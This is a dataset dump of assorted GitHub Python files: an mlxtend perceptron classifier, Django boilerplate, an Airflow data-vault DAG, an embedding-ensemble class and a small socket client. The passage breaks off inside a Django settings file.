blob_id stringlengths 40 40 | directory_id stringlengths 40 40 | path stringlengths 2 616 | content_id stringlengths 40 40 | detected_licenses listlengths 0 69 | license_type stringclasses 2 values | repo_name stringlengths 5 118 | snapshot_id stringlengths 40 40 | revision_id stringlengths 40 40 | branch_name stringlengths 4 63 | visit_date timestamp[us] | revision_date timestamp[us] | committer_date timestamp[us] | github_id int64 2.91k 686M ⌀ | star_events_count int64 0 209k | fork_events_count int64 0 110k | gha_license_id stringclasses 23 values | gha_event_created_at timestamp[us] | gha_created_at timestamp[us] | gha_language stringclasses 220 values | src_encoding stringclasses 30 values | language stringclasses 1 value | is_vendor bool 2 classes | is_generated bool 2 classes | length_bytes int64 2 10.3M | extension stringclasses 257 values | content stringlengths 2 10.3M | authors listlengths 1 1 | author_id stringlengths 0 212 |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
9b3819333e808913783007eba80920255b57e3c6 | 6fcfb638fa725b6d21083ec54e3609fc1b287d9e | /python/rasbt_mlxtend/mlxtend-master/mlxtend/classifier/multilayerperceptron.py | 42f723cf529b36903010a7ecc949d7acdb1d6c50 | [] | no_license | LiuFang816/SALSTM_py_data | 6db258e51858aeff14af38898fef715b46980ac1 | d494b3041069d377d6a7a9c296a14334f2fa5acc | refs/heads/master | 2022-12-25T06:39:52.222097 | 2019-12-12T08:49:07 | 2019-12-12T08:49:07 | 227,546,525 | 10 | 7 | null | 2022-12-19T02:53:01 | 2019-12-12T07:29:39 | Python | UTF-8 | Python | false | false | 9,902 | py | # Sebastian Raschka 2014-2017
# mlxtend Machine Learning Library Extensions
#
# Implementation of a Multi-layer Perceptron in Tensorflow
# Author: Sebastian Raschka <sebastianraschka.com>
#
# License: BSD 3 clause
import numpy as np
from time import time
from scipy.special import expit
from .._base import _BaseModel
from .._base import _IterativeModel
from .._base import _MultiClass
from .._base import _MultiLayer
from .._base import _Classifier
class MultiLayerPerceptron(_BaseModel, _IterativeModel,
_MultiClass, _MultiLayer, _Classifier):
"""Multi-layer perceptron classifier with logistic sigmoid activations
Parameters
------------
eta : float (default: 0.5)
Learning rate (between 0.0 and 1.0)
epochs : int (default: 50)
Passes over the training dataset.
Prior to each epoch, the dataset is shuffled
if `minibatches > 1` to prevent cycles in stochastic gradient descent.
hidden_layers : list (default: [50])
Number of units per hidden layer. By default 50 units in the
first hidden layer. At the moment only 1 hidden layer is supported
n_classes : int (default: None)
A positive integer to declare the number of class labels
if not all class labels are present in a partial training set.
Gets the number of class labels automatically if None.
l1 : float (default: 0.0)
L1 regularization strength
l2 : float (default: 0.0)
L2 regularization strength
momentum : float (default: 0.0)
Momentum constant. Factor multiplied with the
gradient of the previous epoch t-1 to improve
learning speed
w(t) := w(t) - (grad(t) + momentum * grad(t-1))
decrease_const : float (default: 0.0)
Decrease constant. Shrinks the learning rate
after each epoch via eta / (1 + epoch*decrease_const)
minibatches : int (default: 1)
Divide the training data into *k* minibatches
for accelerated stochastic gradient descent learning.
Gradient Descent Learning if `minibatches` = 1
Stochastic Gradient Descent learning if `minibatches` = len(y)
Minibatch learning if `minibatches` > 1
random_seed : int (default: None)
Set random state for shuffling and initializing the weights.
print_progress : int (default: 0)
Prints progress in fitting to stderr.
0: No output
1: Epochs elapsed and cost
2: 1 plus time elapsed
3: 2 plus estimated time until completion
Attributes
-----------
w_ : 2d-array, shape=[n_features, n_classes]
Weights after fitting.
b_ : 1D-array, shape=[n_classes]
Bias units after fitting.
cost_ : list
List of floats; the mean categorical cross entropy
cost after each epoch.
"""
def __init__(self, eta=0.5, epochs=50,
hidden_layers=[50],
n_classes=None,
momentum=0.0, l1=0.0, l2=0.0,
dropout=1.0,
decrease_const=0.0,
minibatches=1, random_seed=None,
print_progress=0):
if len(hidden_layers) > 1:
raise AttributeError('Currently, only 1 hidden layer is supported')
self.hidden_layers = hidden_layers
self.eta = eta
self.n_classes = n_classes
self.l1 = l1
self.l2 = l2
self.decrease_const = decrease_const
self.momentum = momentum
self.epochs = epochs
self.minibatches = minibatches
self.random_seed = random_seed
self.print_progress = print_progress
self._is_fitted = False
def _fit(self, X, y, init_params=True):
self._check_target_array(y)
if init_params:
self._decr_eta = self.eta
if self.n_classes is None:
self.n_classes = np.max(y) + 1
self._n_features = X.shape[1]
self._weight_maps, self._bias_maps = self._layermapping(
n_features=self._n_features,
n_classes=self.n_classes,
hidden_layers=self.hidden_layers)
self.w_, self.b_ = self._init_params_from_layermapping(
weight_maps=self._weight_maps,
bias_maps=self._bias_maps,
random_seed=self.random_seed)
self.cost_ = []
if self.momentum != 0.0:
prev_grad_b_1 = np.zeros(shape=self.b_['1'].shape)
prev_grad_w_1 = np.zeros(shape=self.w_['1'].shape)
prev_grad_b_out = np.zeros(shape=self.b_['out'].shape)
prev_grad_w_out = np.zeros(shape=self.w_['out'].shape)
y_enc = self._one_hot(y=y, n_labels=self.n_classes, dtype=np.float)
self.init_time_ = time()
rgen = np.random.RandomState(self.random_seed)
for i in range(self.epochs):
for idx in self._yield_minibatches_idx(
rgen=rgen,
n_batches=self.minibatches,
data_ary=y,
shuffle=True):
net_1, act_1, net_out, act_out = self._feedforward(X[idx])
# GRADIENTS VIA BACKPROPAGATION
# [n_samples, n_classlabels]
sigma_out = act_out - y_enc[idx]
# [n_samples, n_hidden]
sigmoid_derivative_1 = act_1 * (1.0 - act_1)
# [n_samples, n_classlabels] dot [n_classlabels, n_hidden]
# -> [n_samples, n_hidden]
sigma_1 = (np.dot(sigma_out, self.w_['out'].T) *
sigmoid_derivative_1)
# [n_features, n_samples] dot [n_samples, n_hidden]
# -> [n_features, n_hidden]
grad_W_1 = np.dot(X[idx].T, sigma_1)
grad_B_1 = np.sum(sigma_1, axis=0)
# [n_hidden, n_samples] dot [n_samples, n_classlabels]
# -> [n_hidden, n_classlabels]
grad_W_out = np.dot(act_1.T, sigma_out)
grad_B_out = np.sum(sigma_out, axis=0)
# LEARNING RATE ADJUSTEMENTS
self._decr_eta /= (1.0 + self.decrease_const * i)
# REGULARIZATION AND WEIGHT UPDATES
dW_1 = (self._decr_eta * grad_W_1 +
self._decr_eta * self.l2 * self.w_['1'])
dW_out = (self._decr_eta * grad_W_out +
self._decr_eta * self.l2 * self.w_['out'])
dB_1 = self._decr_eta * grad_B_1
dB_out = self._decr_eta * grad_B_out
self.w_['1'] -= dW_1
self.b_['1'] -= dB_1
self.w_['out'] -= dW_out
self.b_['out'] -= dB_out
if self.momentum != 0.0:
self.w_['1'] -= self.momentum * prev_grad_w_1
self.b_['1'] -= self.momentum * prev_grad_b_1
self.w_['out'] -= self.momentum * prev_grad_w_out
self.b_['out'] -= self.momentum * prev_grad_b_out
prev_grad_b_1 = grad_B_1
prev_grad_w_1 = grad_W_1
prev_grad_b_out = grad_B_out
prev_grad_w_out = grad_W_out
net_1, act_1, net_out, act_out = self._feedforward(X)
cross_ent = self._cross_entropy(output=act_out, y_target=y_enc)
cost = self._compute_cost(cross_ent)
self.cost_.append(cost)
if self.print_progress:
self._print_progress(iteration=i + 1,
n_iter=self.epochs,
cost=cost)
return self
def _feedforward(self, X):
# [n_samples, n_features] dot [n_features, n_hidden]
# -> [n_samples, n_hidden]
net_1 = np.dot(X, self.w_['1']) + self.b_['1']
act_1 = self._sigmoid(net_1)
# [n_samples, n_hidden] dot [n_hidden, n_classlabels]
# -> [n_samples, n_classlabels]
net_out = np.dot(act_1, self.w_['out']) + self.b_['out']
act_out = self._softmax(net_out)
return net_1, act_1, net_out, act_out
def _compute_cost(self, cross_entropy):
L2_term = (self.l2 *
(np.sum(self.w_['1'] ** 2.0) +
np.sum(self.w_['out'] ** 2.0)))
L1_term = (self.l1 *
(np.abs(self.w_['1']).sum() + np.abs(self.w_['out']).sum()))
cross_entropy = cross_entropy + L2_term + L1_term
return 0.5 * np.mean(cross_entropy)
def _predict(self, X):
net_1, act_1, net_out, act_out = self._feedforward(X)
y_pred = np.argmax(net_out, axis=1)
return y_pred
def _softmax(self, z):
e_x = np.exp(z - z.max(axis=1, keepdims=True))
out = e_x / e_x.sum(axis=1, keepdims=True)
return out
# return (np.exp(z.T) / np.sum(np.exp(z), axis=1)).T
def _cross_entropy(self, output, y_target):
return - np.sum(np.log(output) * (y_target), axis=1)
def predict_proba(self, X):
"""Predict class probabilities of X from the net input.
Parameters
----------
X : {array-like, sparse matrix}, shape = [n_samples, n_features]
Training vectors, where n_samples is the number of samples and
n_features is the number of features.
Returns
----------
Class probabilties : array-like, shape= [n_samples, n_classes]
"""
net_1, act_1, net_out, act_out = self._feedforward(X)
softm = self._softmax(act_out)
return softm
def _sigmoid(self, z):
"""Compute logistic function (sigmoid).
Uses scipy.special.expit to avoid overflow
error for very small input values z.
"""
# return 1.0 / (1.0 + np.exp(-z))
return expit(z)
| [
"659338505@qq.com"
] | 659338505@qq.com |
ffe3898008c45fa2cfd08d1bdaa6530548cee442 | eeb98a9c6018dd291e524e1e2eda055f7fd2d4c7 | /Bók-verkefni/Bók bls 171.py | 626ae67e8724e358838d8f0711f82ca05bca3338 | [] | no_license | thorakristin/Forritun | d04f45138109c2fb4761e9e1beb247a2cc60e69f | e3498b196c0c21618bd73e03fd3b87aa1ed68d0e | refs/heads/master | 2020-07-20T06:48:52.153092 | 2019-09-17T09:38:22 | 2019-09-17T09:38:22 | 206,593,092 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 129 | py | range(1,10)
range(1, 10)
my_range = range(1,10)
type(my_range)
range
len(my_range)
9
for i in my_range:
print(i, end=' ')
| [
"tkk8@hi.is"
] | tkk8@hi.is |
cc9598055b2c27f9664de6d0c40512da34be6efe | 7802a68f4928acb5767bcf494d1c49199f46e42d | /project/urls.py | f859518f5f8865c508bdf4f1b266c1b2e1570575 | [] | no_license | collins-adhola/expense_api | b651a05f2438f63de62f5457d5efc45145a3a947 | eb4a1aed735c980d5078e6956e69b063afab9afc | refs/heads/main | 2023-08-06T19:35:11.251616 | 2021-10-05T20:15:08 | 2021-10-05T20:15:08 | 413,975,327 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 842 | py | """project URL Configuration
The `urlpatterns` list routes URLs to views. For more information please see:
https://docs.djangoproject.com/en/3.2/topics/http/urls/
Examples:
Function views
1. Add an import: from my_app import views
2. Add a URL to urlpatterns: path('', views.home, name='home')
Class-based views
1. Add an import: from other_app.views import Home
2. Add a URL to urlpatterns: path('', Home.as_view(), name='home')
Including another URLconf
1. Import the include() function: from django.urls import include, path
2. Add a URL to urlpatterns: path('blog/', include('blog.urls'))
"""
from django.contrib import admin
from django.urls import include, path
urlpatterns = [
path("", include(("expense_api.urls", "expense_api"), namespace="expense_api")),
path("admin/", admin.site.urls),
] | [
"coadhola@gmail.com"
] | coadhola@gmail.com |
c006e72d485742e0e24ae62bfbfb57f79139c0dd | 2ce0c97025f0cc644bcb747e1a7bc41b15890618 | /src/powerful_benchmarker/ensembles/concatenate_embeddings.py | a6360ad6b300eeb1d7808ecc03f99a0a4389d704 | [] | no_license | kwotsin/powerful-benchmarker | 5412c9b42be385b0b525e9ae9893ba9d12bd21eb | b9cf4dd1ed1e21bfe10b9a88972e51f0db9a0545 | refs/heads/master | 2022-11-22T10:03:34.346800 | 2020-07-28T04:31:27 | 2020-07-28T04:31:27 | 285,510,355 | 2 | 0 | null | 2020-08-06T08:00:03 | 2020-08-06T08:00:02 | null | UTF-8 | Python | false | false | 1,029 | py | from ..utils import common_functions as c_f
import torch
from .base_ensemble import BaseEnsemble
from .. import architectures
class ConcatenateEmbeddings(BaseEnsemble):
def create_ensemble_model(self, list_of_trunks, list_of_embedders):
if isinstance(self.embedder_input_sizes[0], list):
self.embedder_input_sizes = [np.sum(x) for x in self.embedder_input_sizes]
normalize_embeddings_func = lambda x: torch.nn.functional.normalize(x, p=2, dim=1)
embedder_operation_before_concat = normalize_embeddings_func if self.normalize_embeddings else None
trunk_operation_before_concat = normalize_embeddings_func if self.use_trunk_output else None
trunk = torch.nn.DataParallel(architectures.misc_models.ListOfModels(list_of_trunks, operation_before_concat=trunk_operation_before_concat))
embedder = torch.nn.DataParallel(architectures.misc_models.ListOfModels(list_of_embedders, self.embedder_input_sizes, embedder_operation_before_concat))
return trunk, embedder | [
"tkm45@cornell.edu"
] | tkm45@cornell.edu |
3b6bfc3e77f83f7cee554a520237036597617472 | 1faa248589efec362481be76b536e66fb16784b8 | /examples/datavault2-bigdata-example/dags/dvdrentals.py | d631cd5535ef9993bba4e0843ebecdd1e55dcfac | [] | no_license | JomaMinoza/etl-with-airflow | 97769b77dd34420efd7545f8cc0980e5fc67540a | cc4fa33b3fb300c79da7cb3696eed8cebac5ca67 | refs/heads/master | 2020-03-19T18:31:57.234918 | 2018-06-10T09:13:46 | 2018-06-10T09:13:46 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 7,102 | py | # -*- coding: utf-8 -*-
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
from __future__ import print_function
from datetime import datetime, timedelta
import os
import airflow
from airflow.operators.bash_operator import BashOperator
from airflow.operators.dummy_operator import DummyOperator
from airflow.models import Variable
from acme.operators.pg_to_file_operator import StagePostgresToFileOperator
from acme.operators.file_to_hive_operator import StageFileToHiveOperator
from airflow.operators.hive_operator import HiveOperator
import acme.schema.dvdrentals_schema as schema
args = {
'owner': 'airflow',
'start_date': datetime(2007, 2, 15),
'end_date': datetime(2007, 5, 15),
'provide_context': True,
# We want to maintain chronological order when loading the datavault
'depends_on_past': True
}
dag = airflow.DAG(
'dvdrentals',
schedule_interval="@daily",
dagrun_timeout=timedelta(minutes=60),
template_searchpath='/usr/local/airflow/sql',
default_args=args,
max_active_runs=1)
extract_done = DummyOperator(
task_id='extract_done',
dag=dag)
daily_process_done = DummyOperator(
task_id='daily_process_done',
dag=dag)
staging_done = DummyOperator(
task_id='staging_done',
dag=dag)
loading_done = DummyOperator(
task_id='loading_done',
dag=dag)
def stage_table(pg_table, override_cols=None, dtm_attribute=None):
t1 = StagePostgresToFileOperator(
source='dvdrentals',
pg_table=pg_table,
dtm_attribute=dtm_attribute,
override_cols=override_cols,
postgres_conn_id='dvdrentals',
file_conn_id='filestore',
task_id=pg_table,
dag=dag)
t1 >> extract_done
def create_staging_operator(hive_table):
field_dict = schema.schemas[hive_table]
_, table = hive_table.split('.')
t1 = StageFileToHiveOperator(
hive_table=table + '_{{ts_nodash}}',
relative_file_path='incremental-load/dvdrentals/' + hive_table + '/{{ds[:4]}}/{{ds[5:7]}}/{{ds[8:10]}}/',
field_dict=field_dict,
create=True,
recreate=True,
file_conn_id='filestore',
hive_cli_conn_id='hive_dvdrentals_staging',
task_id='stage_{0}'.format(hive_table),
dag=dag)
daily_process_done >> t1 >> staging_done
return t1
def load_hub(hql, hive_table):
_, table = hive_table.split('.')
t1 = HiveOperator(
hql=hql,
hive_cli_conn_id='hive_datavault_raw',
schema='dv_raw',
task_id='load_{0}'.format(hive_table),
dag=dag)
staging_done >> t1 >> loading_done
return t1
def load_link(hql, hive_table):
_, table = hive_table.split('.')
t1 = HiveOperator(
hql=hql,
hive_cli_conn_id='hive_datavault_raw',
schema='dv_raw',
task_id='load_{0}'.format(hive_table),
dag=dag)
staging_done >> t1 >> loading_done
return t1
def load_sat(hql, hive_table):
_, table = hive_table.split('.')
t1 = HiveOperator(
hql=hql,
hive_cli_conn_id='hive_datavault_raw',
schema='dv_raw',
task_id='load_{0}'.format(hive_table),
dag=dag)
staging_done >> t1 >> loading_done
return t1
stage_table(pg_table='public.actor')
stage_table(pg_table='public.address')
stage_table(pg_table='public.category')
stage_table(pg_table='public.city')
stage_table(pg_table='public.country')
stage_table(pg_table='public.customer')
stage_table(pg_table='public.film')
stage_table(pg_table='public.film_actor')
stage_table(pg_table='public.film_category')
stage_table(pg_table='public.inventory')
stage_table(pg_table='public.language')
stage_table(pg_table='public.payment', dtm_attribute='payment_date')
stage_table(pg_table='public.rental')
stage_table(pg_table='public.staff', override_cols=[
'staff_id', 'first_name', 'last_name', 'address_id', 'email', 'store_id', 'active', 'last_update'])
stage_table(pg_table='public.store')
daily_dumps = BashOperator(
bash_command='/usr/local/airflow/dataflow/process_daily_full_dumps.sh {{ts}}',
task_id='daily_dumps',
dag=dag)
incremental_build = BashOperator(
bash_command='/usr/local/airflow/dataflow/start_incremental_dv.sh {{ts}}',
task_id='incremental_build',
dag=dag)
extract_done >> daily_dumps >> incremental_build >> daily_process_done
create_staging_operator('public.address')
create_staging_operator('public.actor')
create_staging_operator('public.category')
create_staging_operator('public.city')
create_staging_operator('public.country')
create_staging_operator('public.customer')
create_staging_operator('public.film')
create_staging_operator('public.film_actor')
create_staging_operator('public.film_category')
create_staging_operator('public.inventory')
create_staging_operator('public.language')
create_staging_operator('public.payment')
create_staging_operator('public.rental')
create_staging_operator('public.staff')
create_staging_operator('public.store')
load_hub('loading/hub_actor.hql', 'dv_raw.hub_actor')
load_hub('loading/hub_address.hql', 'dv_raw.hub_address')
load_hub('loading/hub_category.hql', 'dv_raw.hub_category')
load_hub('loading/hub_customer.hql', 'dv_raw.hub_customer')
load_hub('loading/hub_film.hql', 'dv_raw.hub_film')
load_hub('loading/hub_language.hql', 'dv_raw.hub_language')
load_hub('loading/hub_staff.hql', 'dv_raw.hub_staff')
load_hub('loading/hub_store.hql', 'dv_raw.hub_store')
load_link('loading/link_customer_address.hql', 'dv_raw.link_customer_address')
load_link('loading/link_film_actor.hql', 'dv_raw.link_film_actor')
load_link('loading/link_film_category.hql', 'dv_raw.link_film_category')
load_link('loading/link_film_language.hql', 'dv_raw.link_film_language')
load_link('loading/link_payment.hql', 'dv_raw.link_payment')
load_link('loading/link_rental.hql', 'dv_raw.link_rental')
load_link('loading/link_staff_address.hql', 'dv_raw.link_staff_address')
load_link('loading/link_staff_store.hql', 'dv_raw.link_staff_store')
load_link('loading/link_store_staff.hql', 'dv_raw.link_store_staff')
load_sat('loading/sat_actor.hql', 'dv_raw.sat_actor')
load_sat('loading/sat_address.hql', 'dv_raw.sat_address')
load_sat('loading/sat_category.hql', 'dv_raw.sat_category')
load_sat('loading/sat_customer.hql', 'dv_raw.sat_customer')
load_sat('loading/sat_film.hql', 'dv_raw.sat_film')
load_sat('loading/sat_language.hql', 'dv_raw.sat_language')
load_sat('loading/sat_payment.hql', 'dv_raw.sat_payment')
load_sat('loading/sat_staff.hql', 'dv_raw.sat_staff')
load_sat('loading/sat_store.hql', 'dv_raw.sat_store')
if __name__ == "__main__":
dag.cli()
| [
"gtoonstra@gmail.com"
] | gtoonstra@gmail.com |
833e689c5a7732b25871363526476d16fcf573c4 | bfa87f118a551b5e9a83156f23608bec1d3a7072 | /asses/asses/wsgi.py | c66772869a87fede23117fceb33716059e1e9963 | [] | no_license | k-abhi1512/news | 89e81746f14474335c7a99d2409931de0a123ef2 | e4cae748c57c2d5f26d7e28bced02a451bf48158 | refs/heads/master | 2023-02-17T18:30:54.783403 | 2021-01-17T17:14:10 | 2021-01-17T17:14:10 | 330,151,958 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 387 | py | """
WSGI config for asses project.
It exposes the WSGI callable as a module-level variable named ``application``.
For more information on this file, see
https://docs.djangoproject.com/en/3.1/howto/deployment/wsgi/
"""
import os
from django.core.wsgi import get_wsgi_application
os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'asses.settings')
application = get_wsgi_application()
| [
"2akj1018@gmail.com"
] | 2akj1018@gmail.com |
eb8dde64965141d4ca481637413e0f6af4cc65e5 | e13159f11c1ba0b00e0caf0e2d4285ac5fcf8714 | /SmallScheme/parser.py | 9306acb68d61820fae5dc4f24e3b41e3b9556d8c | [] | no_license | Origami404/SmallScheme | d95e496f4c0cc4783f4e8e3cb119d4b8b6355596 | 059c39c202e82cd7fd260e498aa2ae8979449383 | refs/heads/master | 2022-11-18T16:37:50.313967 | 2020-07-21T13:42:57 | 2020-07-21T13:42:57 | 281,407,982 | 3 | 0 | null | null | null | null | UTF-8 | Python | false | false | 5,510 | py | from os import sendfile
from typing import Generic, Iterator, Sized, overload, Type
from . import *
from .lexer import IterBuffer, TokenLiteral, Token
from abc import ABC, abstractmethod
class AstNode:
def __init__(self, dot: bool=False, ellipsis: bool=False) -> None:
self.dot, self.ellipsis = dot, ellipsis
def is_dot(self) -> bool: return self.dot
def is_ellipsis(self) -> bool: return self.ellipsis
@abstractmethod
def to_scheme(self) -> str:
raise RuntimeError('Unsupported operation')
@abstractmethod
def to_dict(self) -> Dict[str, Any]:
raise RuntimeError('Unsupported operation')
def as_node(self, node_class: Type['LeafNodeType']) -> 'LeafNodeType':
if isinstance(self, node_class):
return self # type: ignore
raise TypeError('Not an special node')
class AtomNode(AstNode, Generic[T]):
def __init__(self, data: T, dot: bool=False, ellipsis: bool=False) -> None:
super().__init__(dot, ellipsis)
self._data = data
def is_data(self, data: T) -> bool:
return self._data == data
def data(self) -> T:
return self._data
def to_scheme(self) -> str:
return str(self._data)
def to_dict(self) -> Dict[str, Any]:
return self._data
class IdentifierNode(AtomNode[str]): pass
class NumberNode(AtomNode[int]): pass
class StringNode(AtomNode[str]): pass
class BooleanNode(AtomNode[bool]): pass
class CharacterNode(AtomNode[str]): pass
class ExprListNode(AstNode):
def __init__(self, sons: List[AstNode]) -> None:
super().__init__()
self.sons = sons
def as_list(self) -> List[AstNode]:
return self.sons
def split(self) -> Tuple[AstNode, List[AstNode]]:
return self.sons[0], self.sons[1:]
def first_is(self, identifier: str) -> bool:
first_ast = self.sons[0]
return isinstance(first_ast, IdentifierNode) and first_ast.is_data(identifier)
def is_dot(self) -> bool:
if len(self.sons) == 0:
return False
return self.sons[-1].is_dot()
def is_ellipsis(self) -> bool:
if len(self.sons) == 0:
return False
return self.sons[-1].is_ellipsis()
def is_quote(self) -> bool:
return self.first_is('quote')
def to_scheme(self) -> str:
return f'({" ".join([o.to_scheme() for o in self.sons])})'
def to_dict(self) -> Dict[str, Any]:
return {
'0-type': 'ExprList',
'1-sons': [o.to_dict() for o in self.sons]
}
LeafNodeType = TypeVar('LeafNodeType', IdentifierNode, NumberNode, StringNode, BooleanNode, CharacterNode, ExprListNode)
# 接收一个解析BNF <x> 的 Parser, 然后把它一直解析到 <end_token> 为止. 也就是说解析 <x>* <end_token>
# 当 end_token 为单个 TokenLiteral 时, 返回解析出来的 List[AstNode]
# 当 end_token 是一堆 TokenLiteral 时(一个 List[TokenLiteral]), 返回元组 (List[AstNode], Token); 其中第二个返回值为停止时的 Token
@overload
def pluralize(token_buffer: IterBuffer, parser: Callable[[IterBuffer], AstNode], end_token: TokenLiteral) -> List[AstNode]: ...
@overload
def pluralize(token_buffer: IterBuffer, parser: Callable[[IterBuffer], AstNode], end_token: List[TokenLiteral]) -> Tuple[TokenLiteral, List[AstNode]]: ...
def pluralize(token_buffer, parser, end_token):
results = []
ends = end_token if isinstance(end_token, list) else [end_token]
need_return_end = type(end_token) == type([])
while True:
token, _ = token_buffer.now()
if token in ends:
next(token_buffer)
return (results, token) if need_return_end else results
else:
results.append(parser(token_buffer))
def parse_dot(token: IterBuffer) -> AstNode:
next_dot = parse(token)
next_dot.dot = True
return next_dot
def parse(token_buffer: IterBuffer) -> AstNode:
token, data = next(token_buffer)
if token == 'LeftBracket':
return ExprListNode(pluralize(token_buffer, parse, 'RightBracket'))
if token == 'Number': return NumberNode(int(data))
if token == 'String': return StringNode(data)
if token == 'Character': return CharacterNode(data)
if token == 'Boolean': return BooleanNode(True if data == '#t' else False)
if token == 'Identifier':
id_node = IdentifierNode(data)
# 特判一个紧跟着...的Identifier, 方便后面marco pattern判断
if token_buffer.now() == ('Identifier', '...'):
next(token_buffer) # eat it
id_node.ellipsis = True
return id_node
if token == 'Dot':
next_dot = parse(token_buffer)
next_dot.dot = True
return next_dot
if token == 'Quote':
quote_node = IdentifierNode('quote')
quoted_node = parse(token_buffer)
return ExprListNode([quote_node, quoted_node])
raise RuntimeError('Invaild Token')
# parse 的入口
def parse_program(token_buffer: IterBuffer) -> AstNode:
begin_node = IdentifierNode('begin')
begin_body: List[AstNode] = []
try:
while True:
begin_body.append(parse(token_buffer))
except StopIteration:
return ExprListNode(concat([begin_node], begin_body)) | [
"Origami404@aol.com"
] | Origami404@aol.com |
39454822a638df06c674a59ae22cb5d649384eea | cb29a89d8ba64cc7f5db359b05b47ecb519ab561 | /client.py | cc96f9ef648a89eb02860c2897fcee8265de613a | [] | no_license | dimitarbez/SocketsTut | 9e634c23615177446afd493b3e48294765931ac8 | 565309f6fb46ade0aaa3bde9bc04376a6ccbf409 | refs/heads/master | 2023-03-03T17:14:20.212139 | 2021-02-13T08:07:58 | 2021-02-13T08:07:58 | 338,531,363 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 641 | py | import socket
HEADER = 64
PORT = 4200
FORMAT = 'utf-8'
DISCONNECT_MESSAGE = "!DISCONNECT"
SERVER = "192.168.1.195"
ADDR = (SERVER, PORT)
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client.connect(ADDR)
def send(msg):
message = msg.encode(FORMAT)
msg_length = len(message)
send_length = str(msg_length).encode(FORMAT)
send_length += b' ' * (HEADER - len(send_length))
client.send(send_length)
client.send(message)
print(client.recv(2048).decode(FORMAT))
while True:
tmp_message = input("Enter message")
send(tmp_message)
if tmp_message == "q":
break
send(DISCONNECT_MESSAGE) | [
"30288047+dimitarbez@users.noreply.github.com"
] | 30288047+dimitarbez@users.noreply.github.com |
306ec41cc500d91c1640b117158ea5f1c31c2ca2 | 62affe720ce0c736cc9a010bfe8b67d44df68d2f | /env/bin/wheel | 2b70fd3b25390815bc93899a0c4612091d0af206 | [] | no_license | AreJay-Smith/machine-learning-california-housing-predictions | 57307e0911dedecc2c122c884c4f24fa4da40498 | 00a5325e874a3ed14b62401c0802de737d69e61c | refs/heads/master | 2020-12-02T07:43:31.145912 | 2017-07-09T23:08:01 | 2017-07-09T23:08:01 | 96,716,524 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 232 | #!/Users/Urge_Smith/ml/env/bin/python
# -*- coding: utf-8 -*-
import re
import sys
from wheel.tool import main
if __name__ == '__main__':
sys.argv[0] = re.sub(r'(-script\.pyw?|\.exe)?$', '', sys.argv[0])
sys.exit(main())
| [
"randalljo@gmail.com"
] | randalljo@gmail.com | |
178dbd2c8d960aa86293f06153787741e81663d1 | 90e52dcb84180b4113b62629b360a6a0bb0a3e5e | /VENV_Tezat/Tezat/article/migrations/0002_auto_20180819_1443.py | e7aa8ff49e57d6a184b34a9f11c80417b29f0be8 | [] | no_license | umutBayraktar/social-platform | 2b97d6b809145b38d09a8e70e727e347b0533f7b | e5901099d0921ca289e8d9824b10dd3d15eeab7a | refs/heads/master | 2022-12-02T05:33:32.813227 | 2019-06-15T22:12:55 | 2019-06-15T22:12:55 | 192,127,002 | 2 | 0 | null | 2022-11-22T02:39:29 | 2019-06-15T21:54:37 | Python | UTF-8 | Python | false | false | 1,674 | py | # -*- coding: utf-8 -*-
# Generated by Django 1.11.5 on 2018-08-19 11:43
from __future__ import unicode_literals
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
dependencies = [
('article', '0001_initial'),
]
operations = [
migrations.CreateModel(
name='Statictics',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('like_count', models.IntegerField(default=0)),
('dislike_count', models.IntegerField(default=0)),
('positive_comment', models.IntegerField(default=0)),
('negative_comment', models.IntegerField(default=0)),
('pageview', models.IntegerField(default=0)),
],
),
migrations.RemoveField(
model_name='article',
name='pageview',
),
migrations.AlterField(
model_name='article',
name='image',
field=models.ImageField(blank=True, null=True, upload_to='', verbose_name='Resim'),
),
migrations.AlterField(
model_name='article',
name='tags',
field=models.TextField(blank=True, null=True, verbose_name='Etiketler'),
),
migrations.AddField(
model_name='article',
name='statistics',
field=models.ForeignKey(default=0, on_delete=django.db.models.deletion.CASCADE, to='article.Statictics'),
preserve_default=False,
),
]
| [
"umt9735@gmail.com"
] | umt9735@gmail.com |
266089573ebcc85e9b0d1b80221934495747b62d | ec3b2978117e4021ce187c08c02074ccbe488cd7 | /quickjobs/settings.py | f2b53bfcf4b9c7bb8b550a1f18539b50634703d8 | [] | no_license | habeelmuhammed/quickjobs | 577f40a217c0fc54cf466baa2566f734955396c8 | 40c0e4cd55703d1dc00a34afa60369a1e4ec1dff | refs/heads/master | 2023-03-05T21:12:21.046877 | 2021-02-18T11:22:39 | 2021-02-18T11:22:39 | 340,026,327 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,321 | py | """
Django settings for quickjobs project.
Generated by 'django-admin startproject' using Django 3.1.3.
For more information on this file, see
https://docs.djangoproject.com/en/3.1/topics/settings/
For the full list of settings and their values, see
https://docs.djangoproject.com/en/3.1/ref/settings/
"""
import os
from pathlib import Path
from django.contrib.messages import constants as messages
# Build paths inside the project like this: BASE_DIR / 'subdir'.
BASE_DIR = Path(__file__).resolve().parent.parent
# Quick-start development settings - unsuitable for production
# See https://docs.djangoproject.com/en/3.1/howto/deployment/checklist/
# SECURITY WARNING: keep the secret key used in production secret!
SECRET_KEY = 'i==pxd*pey_ptjyobjx3vs9lp)%mix*!0k-e!6&sbh$7c79q(i'
# SECURITY WARNING: don't run with debug turned on in production!
DEBUG = True
ALLOWED_HOSTS = []
# Application definition
INSTALLED_APPS = [
'django.contrib.admin',
'django.contrib.auth',
'django.contrib.contenttypes',
